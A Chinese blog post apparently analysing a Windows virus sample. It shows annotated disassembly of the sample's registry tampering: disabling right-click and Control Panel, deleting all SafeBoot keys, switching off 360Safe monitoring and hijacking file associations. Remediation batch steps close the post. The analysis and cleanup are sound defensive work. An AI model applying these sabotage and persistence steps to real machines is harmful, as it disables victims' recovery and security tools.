556 0040CA3C    68 E8984000     push 样本.004098E8                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu"
557 0040CA41    68 01030080     push 0x80000301
558 0040CA46    6A 00           push 0x0
559 0040CA48    68 03000000     push 0x3
560 0040CA4D    68 03000000     push 0x3
561 0040CA52    BB A4060000     mov ebx,0x6A4
562 0040CA57    E8 CC1A0000     call 样本.0040E528                         ; 禁止使用鼠标右键
563 0040CA5C    83C4 28         add esp,0x28
564 0040CA5F    68 01030080     push 0x80000301
565 0040CA64    6A 00           push 0x0
566 0040CA66    68 01000000     push 0x1
567 0040CA6B    68 04000080     push 0x80000004
568 0040CA70    6A 00           push 0x0
569 0040CA72    68 36994000     push 样本.00409936                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders"
570 0040CA77    68 01030080     push 0x80000301
571 0040CA7C    6A 00           push 0x0
572 0040CA7E    68 03000000     push 0x3
573 0040CA83    68 03000000     push 0x3
574 0040CA88    BB A4060000     mov ebx,0x6A4
575 0040CA8D    E8 961A0000     call 样本.0040E528                         ; 禁止修改控制面板

下面就是删除一些注册表项。来阻止我们进入安全模式:

删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{36FC9E60-C465-11CF-8056-444553540000}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E965-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E969-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96B-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96F-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E973-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E974-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E975-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E977-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97B-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97D-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E980-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{71A27CDD-812A-11D0-BEC7-08002BE2092F}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AFD\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AppMgmt\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Base\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot Bus Extender\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot file system\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Browser\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CryptSvc\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DcomLaunch\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Dhcp\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmadmin\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmboot.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmio.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmload.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmserver\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DnsCache\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EventLog\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\File system\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Filter\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\HelpSvc\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ip6fw.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ipnat.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanServer\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanWorkstation\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LmHosts\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Messenger\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS Wrapper\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Ndisuio\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOS\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOSGroup\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBT\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetDDEGroup\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Netlogon\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetMan\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Network\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetworkProvider\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NtLmSsp\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PCI Configuration\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PlugPlay\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP Filter\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP_TDI\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Primary disk\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpcdd.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpdd.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpwd.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdsessmgr\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\RpcSs\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SCSI Class\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sermouse.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SharedAccess\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sr.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SRService\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Streams Drivers\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\System Bus Extender\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Tcpip\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TDI\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdpipe.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdtcp.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\termservice\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vga.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vgasave.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinMgmt\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WZCSVC\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Ndisuio\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\”)

继续:

  1 0040DFA4    83C4 10         add esp,0x10
  2 0040DFA7    8945 EC         mov dword ptr ss:[ebp-0x14],eax
  3 0040DFAA    68 DABA4000     push 样本.0040BADA                         ; ASCII ".vbs"
  4 0040DFAF    FF75 EC         push dword ptr ss:[ebp-0x14]
  5 0040DFB2    68 DFBA4000     push 样本.0040BADF                         ; ASCII "\system32\"
  6 0040DFB7    FF75 FC         push dword ptr ss:[ebp-0x4]
  7 0040DFBA    B9 04000000     mov ecx,0x4
  8 0040DFBF    E8 35E1FFFF     call 样本.0040C0F9                              ;生成一个43.vbs。。。位于("C:\WINDOWS\system32\43.vbs")
  9 0040E08F    83C4 10         add esp,0x10
 10 0040E092    8945 EC         mov dword ptr ss:[ebp-0x14],eax
 11 0040E095    68 EBBA4000     push 样本.0040BAEB                         ; ASCII ".bat"
 12 0040E09A    FF75 EC         push dword ptr ss:[ebp-0x14]
 13 0040E09D    68 DFBA4000     push 样本.0040BADF                         ; ASCII "\system32\"
 14 0040E0A2    FF75 FC         push dword ptr ss:[ebp-0x4]
 15 0040E0A5    B9 04000000     mov ecx,0x4
 16 0040E0AA    E8 4AE0FFFF     call 样本.0040C0F9                             ;生成一个24.bat。。。位于(ASCII "C:\WINDOWS\system32\24.bat")
 17 0040E1B3    83C4 10         add esp,0x10
 18 0040E1B6    8945 EC         mov dword ptr ss:[ebp-0x14],eax
 19 0040E1B9    68 EBBA4000     push 样本.0040BAEB                         ; ASCII ".bat"
 20 0040E1BE    FF75 EC         push dword ptr ss:[ebp-0x14]
 21 0040E1C1    68 DFBA4000     push 样本.0040BADF                         ; ASCII "\system32\"
 22 0040E1C6    FF75 FC         push dword ptr ss:[ebp-0x4]
 23 0040E1C9    B9 04000000     mov ecx,0x4
 24 0040E1CE    E8 26DFFFFF     call 样本.0040C0F9                              ;生成一个59.bat。。。(ASCII "C:\WINDOWS\system32\59.bat")
 25 
 26 0040E29E    83C4 10         add esp,0x10
 27 0040E2A1    8945 EC         mov dword ptr ss:[ebp-0x14],eax
 28 0040E2A4    68 DABA4000     push 样本.0040BADA                         ; ASCII ".vbs"
 29 0040E2A9    FF75 EC         push dword ptr ss:[ebp-0x14]
 30 0040E2AC    68 DFBA4000     push 样本.0040BADF                         ; ASCII "\system32\"
 31 0040E2B1    FF75 FC         push dword ptr ss:[ebp-0x4]
 32 0040E2B4    B9 04000000     mov ecx,0x4
 33 0040E2B9    E8 3BDEFFFF     call 样本.0040C0F9                               ;生成一个6.vbs。。。位于 (ASCII "C:\WINDOWS\system32\6.vbs")
 34 0040E2F7    50              push eax
 35 0040E2F8    68 04000080     push 0x80000004
 36 0040E2FD    6A 00           push 0x0
 37 0040E2FF    68 85BB4000     push 样本.0040BB85                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Run\Explore.exe"
 38 0040E304    68 01030080     push 0x80000301
 39 0040E309    6A 00           push 0x0
 40 0040E30B    68 04000000     push 0x4
 41 0040E310    68 03000000     push 0x3
 42 0040E315    BB A4060000     mov ebx,0x6A4
 43 0040E31A    E8 09020000     call 样本.0040E528
 44 0040E31F    83C4 28         add esp,0x28
 45 0040E322    8B5D E8         mov ebx,dword ptr ss:[ebp-0x18]
 46 0040E325    85DB            test ebx,ebx
 47 0040E327    74 09           je short 样本.0040E332
 48 0040E329    53              push ebx
 49 0040E32A    E8 FF010000     call 样本.0040E52E
 50 0040E32F    83C4 04         add esp,0x4
 51 0040E332    68 01030080     push 0x80000301
 52 0040E337    6A 00           push 0x0
 53 0040E339    68 01000000     push 0x1
 54 0040E33E    68 04000080     push 0x80000004
 55 0040E343    6A 00           push 0x0
 56 0040E345    68 92914000     push 样本.00409192                         ; ASCII "SOFTWARE\360Safe\safemon\ExecAccess"
 57 0040E34A    68 01030080     push 0x80000301
 58 0040E34F    6A 00           push 0x0
 59 0040E351    68 04000000     push 0x4
 60 0040E356    68 03000000     push 0x3
 61 0040E35B    BB A4060000     mov ebx,0x6A4
 62 0040E360    E8 C3010000     call 样本.0040E528                         ; 将ExecAccess键值重新设置成1
 63 0040E365    83C4 28         add esp,0x28
 64 0040E368    68 01030080     push 0x80000301
 65 0040E36D    6A 00           push 0x0
 66 0040E36F    68 01000000     push 0x1
 67 0040E374    68 04000080     push 0x80000004
 68 0040E379    6A 00           push 0x0
 69 0040E37B    68 B6914000     push 样本.004091B6                         ; ASCII "SOFTWARE\360Safe\safemon\MonAccess"
 70 0040E380    68 01030080     push 0x80000301
 71 0040E385    6A 00           push 0x0
 72 0040E387    68 04000000     push 0x4
 73 0040E38C    68 03000000     push 0x3
 74 0040E391    BB A4060000     mov ebx,0x6A4
 75 0040E396    E8 8D010000     call 样本.0040E528                         ; 将MonAccess键值设置成1
 76 0040E39B    83C4 28         add esp,0x28
 77 0040E39E    68 01030080     push 0x80000301
 78 0040E3A3    6A 00           push 0x0
 79 0040E3A5    68 01000000     push 0x1
 80 0040E3AA    68 04000080     push 0x80000004
 81 0040E3AF    6A 00           push 0x0
 82 0040E3B1    68 D9914000     push 样本.004091D9                         ; ASCII "SOFTWARE\360Safe\safemon\SiteAccess"
 83 0040E3B6    68 01030080     push 0x80000301
 84 0040E3BB    6A 00           push 0x0
 85 0040E3BD    68 04000000     push 0x4
 86 0040E3C2    68 03000000     push 0x3
 87 0040E3C7    BB A4060000     mov ebx,0x6A4
 88 0040E3CC    E8 57010000     call 样本.0040E528                         ; 将SiteAccess键值设置成1
 89 0040E3D1    83C4 28         add esp,0x28
 90 0040E3D4    68 01030080     push 0x80000301
 91 0040E3D9    6A 00           push 0x0
 92 0040E3DB    68 01000000     push 0x1
 93 0040E3E0    68 04000080     push 0x80000004
 94 0040E3E5    6A 00           push 0x0
 95 0040E3E7    68 FD914000     push 样本.004091FD                         ; ASCII "SOFTWARE\360Safe\safemon\UDiskAccess"
 96 0040E3EC    68 01030080     push 0x80000301
 97 0040E3F1    6A 00           push 0x0
 98 0040E3F3    68 04000000     push 0x4
 99 0040E3F8    68 03000000     push 0x3
100 0040E3FD    BB A4060000     mov ebx,0x6A4
101 0040E402    E8 21010000     call 样本.0040E528                         ; 将UDiskAccess键值设置成1
102 
103 
104 
105 0040E40A    68 04000080     push 0x80000004
106 0040E40F    6A 00           push 0x0
107 0040E411    68 3E924000     push 样本.0040923E                         ; ASCII "jpegfile"
108 0040E416    68 04000080     push 0x80000004
109 0040E41B    6A 00           push 0x0
110 0040E41D    68 BFBB4000     push 样本.0040BBBF                         ; ASCII ".reg\"
111 0040E422    68 01030080     push 0x80000301
112 0040E427    6A 00           push 0x0
113 0040E429    68 01000000     push 0x1
114 0040E42E    68 03000000     push 0x3
115 0040E433    BB A4060000     mov ebx,0x6A4
116 0040E438    E8 EB000000     call 样本.0040E528
117 
118 修改.reg文件关联。
119 
120 0040E440    68 04000080     push 0x80000004
121 0040E445    6A 00           push 0x0
122 0040E447    68 3E924000     push 样本.0040923E                         ; ASCII "jpegfile"
123 0040E44C    68 04000080     push 0x80000004
124 0040E451    6A 00           push 0x0
125 0040E453    68 C5BB4000     push 样本.0040BBC5                         ; ASCII ".exe\"
126 0040E458    68 01030080     push 0x80000301
127 0040E45D    6A 00           push 0x0
128 0040E45F    68 01000000     push 0x1
129 0040E464    68 03000000     push 0x3
130 0040E469    BB A4060000     mov ebx,0x6A4
131 0040E46E    E8 B5000000     call 样本.0040E528
132 
133 修改.exe文件关联
134 
135 0040E49D    6A 00           push 0x0
136 0040E49F    6A 00           push 0x0
137 0040E4A1    6A 00           push 0x0
138 0040E4A3    68 01030080     push 0x80000301
139 0040E4A8    6A 00           push 0x0
140 0040E4AA    68 14000000     push 0x14
141 0040E4AF    68 04000080     push 0x80000004
142 0040E4B4    6A 00           push 0x0
143 0040E4B6    68 DA904000     push 样本.004090DA
144 0040E4BB    68 03000000     push 0x3
145 0040E4C0    BB 00030000     mov ebx,0x300
146 0040E4C5    E8 5E000000     call 样本.0040E528          //弹出最开始的窗口
147 0040E4CA    83C4 28         add esp,0x28
148 0040E4CD    8BE5            mov esp,ebp
149 0040E4CF    5D              pop ebp
150 0040E4D0    C3              retn               //结束

代码就分析到这儿了。

解决方法:

  中毒之后,一些inf,txt,exe,reg 都不能用。。。 这儿就想到了他没限制.bat和.vbs。 可能是因为他自己在运行的时候也需要运行.bat和.vbs的文件吧。。。 这儿就是突破口。
不能右键新建文件, 那就直接把一个文件的后缀修改成“.c”。直接就把病毒本体修改成“.c” 双击,可以打开,删除里面所有乱七八糟的东西,我们向里面输入:
@echo off
gpedit.msc
pause&exit
打开“组策略”,依次点:用户配置---管理模板---系统  在右边可以看到“阻止访问注册表编辑工具”打开之后,选中“已禁用”,然后保存退出。
设置成功之后,向.bat文件中输入
@echo off
regedit.exe
pause&exit
保存。打开,这样就可以打开注册表编辑器了。。。接下来就把他所修改了的注册表键值全部修改回去就可以了。。。
修改文件关联也用批处理:(以更改exe为例)
@echo off
assoc .exe=exefile
ftype exefile="%1"%*
pause&exit
处理完之后用杀软杀杀毒吧。

posted @ 2012-09-17 19:31  丶结灬局  阅读(748)  评论(1)    收藏  举报